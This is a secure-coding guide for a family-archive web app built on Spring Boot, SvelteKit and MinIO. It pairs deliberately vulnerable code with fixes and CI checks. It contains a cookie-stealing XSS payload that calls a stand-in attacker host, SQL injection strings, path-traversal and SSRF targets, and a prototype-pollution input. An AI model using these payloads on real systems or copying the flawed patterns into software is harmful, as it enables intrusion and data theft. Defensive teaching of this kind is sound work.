Files
familienarchiv/docs/security-guide.md
2026-04-14 23:21:15 +02:00

29 KiB
Raw Blame History

Web Security Guide — Familienarchiv Stack

"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question." — Nora "NullX" Steiner, Application Security Engineer

Stack covered: Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC


Table of Contents

  1. Mass Assignment / Over-Posting (Spring Boot)
  2. Spring Boot Actuator Exposure
  3. SQL Injection via JPQL / Native Queries
  4. XSS in SvelteKit
  5. CORS Misconfiguration
  6. File Upload Attacks (MinIO / S3)
  7. JWT / Session Attacks
  8. SSRF via User-Controlled URLs
  9. Insecure Direct Object Reference in File Downloads
  10. Prototype Pollution (TypeScript / Node.js layer)
  11. Secrets in Config / Environment

1. Mass Assignment / Over-Posting (Spring Boot)

The vulnerable pattern

When a controller binds a request body directly to the JPA entity, a client can set any field that exists on the model — including ones they should never touch.

// BAD: DocumentController.java
@PutMapping("/api/documents/{id}")
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
    document.setId(id);
    return documentRepository.save(document); // ← saves WHATEVER the client sent
}

Attack: The client sends {"status":"ARCHIVED","id":"<another-user-doc-uuid>"} in the body and silently promotes a document or takes over a foreign record.

The fix in context

Use a DTO for input and copy only the fields you explicitly allow. Your project already has DocumentUpdateDTO — use it everywhere.

// GOOD: DocumentController.java
@PutMapping("/api/documents/{id}")
@RequirePermission(Permission.WRITE_ALL)
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
    return documentService.updateDocument(id, dto); // service decides what changes
}

// GOOD: DocumentService.java
@Transactional
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
    Document doc = documentRepository.findById(id)
        .orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));

    // Explicitly copy only fields the DTO is allowed to change
    if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
    if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
    if (dto.getStatus() != null) {
        validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
        doc.setStatus(dto.getStatus());
    }
    // id, createdAt, owner — never touched
    return documentRepository.save(doc);
}

Why: JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.

Catch it in CI:

# Semgrep rule — flag direct @RequestBody Entity in controllers
rules:
  - id: mass-assignment-entity-request-body
    patterns:
      - pattern: |
          @RequestBody $ENTITY $PARAM
      - pattern-not: |
          @RequestBody $DTO $PARAM
    message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
    languages: [java]
    severity: WARNING

2. Spring Boot Actuator Exposure

The vulnerable pattern

Spring Boot Actuator ships many endpoints (/actuator/heapdump, /actuator/env, /actuator/beans) that expose sensitive runtime data. The default in Boot 4 exposes health and info — but misconfigured apps expose everything.

# BAD: application.yml
management:
  endpoints:
    web:
      exposure:
        include: "*"   # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...

Attack: GET /actuator/heapdump returns a full JVM heap dump. Parse it offline with jhat or Eclipse MAT to extract:

  • PostgreSQL passwords from spring.datasource.password
  • MinIO secret keys
  • Active Spring Session tokens (from JDBC session store)
  • Full in-memory document objects

This is not theoretical — it's one of the most common critical findings in Spring Boot apps.

The fix in context

# GOOD: application.yml (production profile)
management:
  endpoints:
    web:
      exposure:
        include: "health,info"   # only what you need for load balancer probes
  endpoint:
    health:
      show-details: never        # don't expose DB/MinIO health details publicly
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
management:
  endpoints:
    web:
      exposure:
        include: "*"             # full access in dev is fine

Also secure the actuator path with Spring Security so even health isn't public if you don't need it:

// GOOD: SecurityConfig.java
http.authorizeHttpRequests(auth -> auth
    .requestMatchers("/actuator/health").permitAll()
    .requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
    .requestMatchers("/api/**").authenticated()
    .anyRequest().denyAll()
);

Why: A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.

Catch it in CI:

# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200

3. SQL Injection via JPQL / Native Queries

The vulnerable pattern

Hibernate/JPA protects you when you use @Query with named parameters — but not when you concatenate strings.

// BAD: DocumentRepository.java
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
List<Document> searchByTitle(String title);

// Also BAD: building JPQL dynamically via string concat
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
entityManager.createQuery(jpql).getResultList();

Attack: Input %'; DROP TABLE documents; -- or %' UNION SELECT username, password, null, null FROM app_users-- to read the user table.

The fix in context

// GOOD: Use named parameters — Hibernate escapes them correctly
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
List<Document> searchByTitle(@Param("query") String query);

// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
    return documentRepository.findAll((root, cq, cb) -> {
        List<Predicate> predicates = new ArrayList<>();
        if (query != null) {
            predicates.add(cb.like(cb.lower(root.get("title")),
                "%" + query.toLowerCase().replace("%", "\\%") + "%"));
        }
        if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
        if (to != null)   predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
        return cb.and(predicates.toArray(new Predicate[0]));
    });
}

Note the manual % escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.

Why: Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.

Catch it in CI:

// Unit test with injection payload
@Test
void searchIsSafeAgainstSqlInjection() {
    String malicious = "'; DROP TABLE documents; --";
    assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
    assertTrue(documentRepository.count() > 0); // table still exists
}

4. XSS in SvelteKit

The vulnerable pattern

Svelte auto-escapes {variable} expressions — that's your default protection. The vulnerability appears when you bypass it.

<!-- BAD: +page.svelte — rendering raw HTML from the database -->
<div class="description">
    {@html document.description}
</div>

<!-- Also BAD: using innerHTML via DOM manipulation -->
<script>
    onMount(() => {
        container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
    });
</script>

Attack: A user stores <script>fetch('https://attacker.example/steal?c='+document.cookie)</script> in the description field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).

The fix in context

<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
<div class="description">
    {document.description}
</div>

<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
     sanitize server-side before storing, and again before rendering -->
<script lang="ts">
    import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify

    // Sanitize before rendering — never trust stored HTML directly
    $: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
        ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
        ALLOWED_ATTR: []
    });
</script>

<div class="description">
    {@html safeHtml}
</div>

Prefer storing plain text. Only use {@html} when you have a real product requirement for rich formatting — and always with sanitization.

Why: {@html} disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's Content-Security-Policy header is your second line of defense:

// GOOD: SecurityConfig.java — add CSP header
http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
    )
);

Catch it in CI:

# Semgrep: flag all uses of {@html} in .svelte files for manual review
grep -r '{@html' frontend/src/ --include="*.svelte"

5. CORS Misconfiguration

The vulnerable pattern

// BAD: SecurityConfig.java — wildcard CORS with credentials
@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of("*"));    // ← wildcard
    config.setAllowCredentials(true);           // ← with credentials = critical flaw
    config.setAllowedMethods(List.of("*"));
    // ...
}

Browsers block credentials: true with * origins — but some frameworks silently reflect the request Origin header instead:

// BAD: reflects whatever origin the request sends
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials

Attack: Attacker hosts a page at https://evil.example. Victim visits it while logged into Familienarchiv. The evil page calls fetch('https://familienarchiv.example/api/documents', {credentials:'include'}) and reads the family's documents.

The fix in context

// GOOD: explicit allowlist of origins
@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();

    // Explicit origins only — no wildcards when credentials are involved
    List<String> allowedOrigins = List.of(
        "http://localhost:3000",   // dev frontend
        "https://familienarchiv.example"  // prod
    );
    config.setAllowedOrigins(allowedOrigins);
    config.setAllowCredentials(true);
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
    config.setMaxAge(3600L);

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

Why: credentials: include sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.

Catch it in CI:

# Assert that a random origin is not reflected back
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
  | grep "Access-Control-Allow-Origin" | grep -qv "evil.example"

6. File Upload Attacks (MinIO / S3)

The vulnerable pattern

// BAD: FileService.java — trusting the client-supplied content type and filename
public String uploadFile(MultipartFile file, UUID documentId) {
    String filename = file.getOriginalFilename(); // ← attacker controls this
    String contentType = file.getContentType();   // ← attacker controls this (HTTP header)

    minioClient.putObject(PutObjectArgs.builder()
        .bucket("archive-documents")
        .object(filename)               // path traversal: "../../etc/passwd"
        .contentType(contentType)       // stored XSS via "text/html"
        .stream(file.getInputStream(), file.getSize(), -1)
        .build());
    return filename;
}

Attacks:

  • Path traversal: filename ../../config/application.yml writes outside the intended directory
  • Stored XSS via upload: upload an HTML file with content type text/html, get a link, share it — browser executes the JS
  • Large file DoS: no size limit → 10 GB upload exhausts disk/memory

The fix in context

// GOOD: FileService.java
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
    "application/pdf", "image/jpeg", "image/png", "image/tiff",
    "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
);
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB

public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
    // 1. Reject disallowed types — detect from magic bytes, not just the header
    String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
    if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
            "File type not allowed: " + detectedType);
    }

    // 2. Enforce size limit
    if (file.getSize() > MAX_FILE_SIZE) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
    }

    // 3. Generate a server-controlled object key — never use the original filename
    String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
    String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;

    minioClient.putObject(PutObjectArgs.builder()
        .bucket("archive-documents")
        .object(objectKey)              // server-controlled path
        .contentType(detectedType)      // server-detected, not client-supplied
        .stream(file.getInputStream(), file.getSize(), -1)
        .build());

    return objectKey;
}

private String detectMimeType(InputStream stream) throws IOException {
    Tika tika = new Tika();
    return tika.detect(stream);
}

Also: Set Content-Disposition: attachment on file download responses to prevent inline rendering in the browser:

// GOOD: DocumentController.java — serve files as download, not inline
ResponseEntity.ok()
    .header("Content-Disposition", "attachment; filename=\"document.pdf\"")
    .header("Content-Type", "application/pdf")
    .body(fileBytes);

Why: Browsers will render any response with Content-Type: text/html as a page, executing scripts. Serving files with Content-Disposition: attachment forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.

Catch it in CI:

@Test
void rejectsHtmlFileUpload() throws Exception {
    MockMultipartFile htmlFile = new MockMultipartFile(
        "file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
    mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
        .andExpect(status().isBadRequest());
}

7. JWT / Session Attacks

You use Spring Session JDBC — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.

The vulnerable pattern

// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
Jwts.parserBuilder()
    .build()                          // ← no signing key configured
    .parseClaimsJws(token);           // accepts unsigned tokens
// BAD: not invalidating the session on logout
@PostMapping("/logout")
public void logout(HttpSession session) {
    // session.invalidate() never called — old session ID still works
    SecurityContextHolder.clearContext();
}

The fix in context

// GOOD: Spring Security logout invalidates the session automatically
http.logout(logout -> logout
    .logoutUrl("/logout")
    .invalidateHttpSession(true)      // deletes from spring_session table
    .deleteCookies("SESSION")         // clears the client cookie
    .logoutSuccessUrl("/login")
);
// GOOD: if you add JWT later, always specify the algorithm explicitly
String secret = environment.getRequiredProperty("app.jwt.secret");
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));

Jwts.parserBuilder()
    .setSigningKey(key)
    .requireAudience("familienarchiv-api")
    .build()
    .parseClaimsJws(token); // rejects alg:none and wrong-key tokens

Session fixation protection — Spring Security enables this by default, but verify it's not disabled:

// GOOD: session fixation protection (this is the Spring Security default — don't override it)
http.sessionManagement(session -> session
    .sessionFixation().migrateSession() // new session ID after login
    .maximumSessions(5)                 // limit concurrent sessions per user
);

Why: An alg:none JWT attack lets an attacker craft tokens with arbitrary claims (e.g., {"role":"ADMIN"}) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.

Catch it in CI:

@Test
void sessionIsInvalidatedOnLogout() throws Exception {
    // Login, capture session cookie
    MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
        .andExpect(status().is3xxRedirection()).andReturn();
    String sessionCookie = login.getResponse().getHeader("Set-Cookie");

    // Logout
    mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());

    // Assert old session is rejected
    mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
        .andExpect(status().isUnauthorized());
}

8. SSRF via User-Controlled URLs

The vulnerable pattern

If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.

// BAD: DocumentService.java — fetching user-supplied URL
public byte[] fetchDocumentFromUrl(String url) throws IOException {
    return new URL(url).openStream().readAllBytes(); // ← no validation
}

Attack: Supply http://169.254.169.254/latest/meta-data/ (AWS metadata), http://minio:9000/ (internal MinIO admin), or http://localhost:8080/actuator/env (your own actuator) to probe or exfiltrate internal services.

The fix in context

// GOOD: validate against an allowlist before fetching
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");

public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
    URI uri;
    try {
        uri = new URI(rawUrl);
    } catch (URISyntaxException e) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
    }

    // Allowlist check
    if (!ALLOWED_HOSTS.contains(uri.getHost())) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
            "URL host not permitted: " + uri.getHost());
    }

    // Enforce HTTPS only
    if (!"https".equalsIgnoreCase(uri.getScheme())) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
    }

    // Resolve to IP and block private ranges
    InetAddress addr = InetAddress.getByName(uri.getHost());
    if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
    }

    HttpClient client = HttpClient.newBuilder()
        .followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
        .connectTimeout(Duration.ofSeconds(5))
        .build();

    HttpResponse<byte[]> response = client.send(
        HttpRequest.newBuilder(uri).GET().build(),
        HttpResponse.BodyHandlers.ofByteArray()
    );
    return response.body();
}

Why: Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.

Catch it in CI: Test that http://127.0.0.1/, http://169.254.169.254/, and http://minio:9000/ are rejected with an error status.


9. Insecure Direct Object Reference in File Downloads

The vulnerable pattern

// BAD: FileService.java — serving any object key the client requests
@GetMapping("/api/files/{objectKey}")
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
    byte[] data = fileService.download(objectKey); // ← no ownership check
    return ResponseEntity.ok(data);
}

Attack: A user who knows (or guesses) another document's objectKey can download its file. Object keys in your current pattern are {documentId}/{uuid}.pdf — someone with READ_ALL can enumerate by trying known document IDs.

The fix in context

// GOOD: tie file access to document access — go through the document, not directly to storage
@GetMapping("/api/documents/{id}/file")
@RequirePermission(Permission.READ_ALL)
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
    // This call checks ownership — if the user can't see the document, they get 404
    Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));

    if (doc.getStoragePath() == null) {
        throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
    }

    byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
    String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";

    return ResponseEntity.ok()
        .header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
        .header("Content-Type", doc.getMimeType())
        .body(data);
}

Why: The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.


10. Prototype Pollution (TypeScript / Node.js layer)

The vulnerable pattern

Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).

// BAD: merging user input into an object with a recursive merge utility
function mergeDeep(target: any, source: any) {
    for (const key of Object.keys(source)) {
        if (source[key] instanceof Object) {
            mergeDeep(target[key] ??= {}, source[key]);
        } else {
            target[key] = source[key]; // ← key could be "__proto__"
        }
    }
}

// Attacker sends: {"__proto__": {"isAdmin": true}}
mergeDeep(userSettings, JSON.parse(req.body));
// Now: ({}).isAdmin === true — for EVERY object in this process

The fix in context

// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
// structuredClone is available in Node 17+ and is prototype-safe
const safeCopy = structuredClone(userInput);

// GOOD: if you must merge, use Object.create(null) as base (no prototype)
const settings = Object.create(null) as Record<string, unknown>;
Object.assign(settings, sanitizedInput);

// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
import { z } from 'zod';
const UserSettingsSchema = z.object({
    theme: z.enum(['light', 'dark']),
    language: z.enum(['de', 'en', 'es']),
});
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped

Why: __proto__ is a special property on all JavaScript objects. Writing to it affects Object.prototype — the root of every plain object in the Node.js process. If your authorization logic does if (user.isAdmin) and prototype pollution sets Object.prototype.isAdmin = true, every user becomes admin for the lifetime of the process.

Catch it in CI:

# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
npm audit --audit-level=high

11. Secrets in Config / Environment

The vulnerable pattern

# BAD: application.yml — secrets in version control
spring:
  datasource:
    url: jdbc:postgresql://localhost:5432/familienarchiv
    username: app
    password: SuperSecret123!    # ← checked into git

minio:
  access-key: minioadmin
  secret-key: minioadmin123
# BAD: .env with real credentials committed
MINIO_SECRET_KEY=production-secret-key-here

The fix in context

# GOOD: application.yml — reference environment variables, never inline secrets
spring:
  datasource:
    url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
    username: ${DB_USERNAME:app}
    password: ${DB_PASSWORD}       # no default — fails fast if not set

minio:
  access-key: ${MINIO_ACCESS_KEY}
  secret-key: ${MINIO_SECRET_KEY}
# GOOD: docker-compose.yml — inject from host environment or .env file
services:
  backend:
    environment:
      - DB_PASSWORD=${DB_PASSWORD}
      - MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
# .env.example (committed — template only, no real values)
DB_PASSWORD=change-me
MINIO_SECRET_KEY=change-me

# .env (NOT committed — add to .gitignore)
DB_PASSWORD=actual-production-secret

Verify your .gitignore:

.env
.env.local
*.env
application-prod.yml
application-production.yml

Why: Git history is permanent. Even if you delete a secret in a later commit, it's still in git log and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.

Catch it in CI:

# Run trufflehog or gitleaks on every PR
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail

Summary Matrix

# Vulnerability Severity Your Stack's Risk Fixed By
1 Mass Assignment HIGH @RequestBody Entity in any controller DTOs everywhere
2 Actuator Exposure CRITICAL include: "*" in prod Allowlist + require ADMIN
3 SQL Injection HIGH Native query string concat Named parameters / Criteria API
4 XSS HIGH {@html} with stored content DOMPurify + CSP header
5 CORS Misconfiguration HIGH allowedOriginPatterns("*") with credentials Explicit origin allowlist
6 File Upload MEDIUMHIGH No type detection, no size limit Tika magic bytes + size cap
7 Session/JWT Attacks HIGH Session not invalidated on logout Spring Security logout config
8 SSRF MEDIUM Any user-supplied URL fetch Host allowlist + private IP block
9 File Download IDOR MEDIUM Direct object key in URL Route file access through document access
10 Prototype Pollution MEDIUM Recursive merge of user input Zod schema validation
11 Secrets in Config CRITICAL Inline secrets in YAML Env var references

# .github/workflows/security.yml (or equivalent in your Gitea CI)
security:
  steps:
    - name: Dependency audit (npm)
      run: cd frontend && npm audit --audit-level=high

    - name: Dependency audit (Maven)
      run: cd backend && ./mvnw org.owasp:dependency-check-maven:check

    - name: Secret scanning
      run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail

    - name: SAST (Semgrep)
      run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/

    - name: Actuator check (integration)
      run: |
        curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
        curl -sf http://localhost:8080/actuator/env && exit 1 || true

Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021 Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+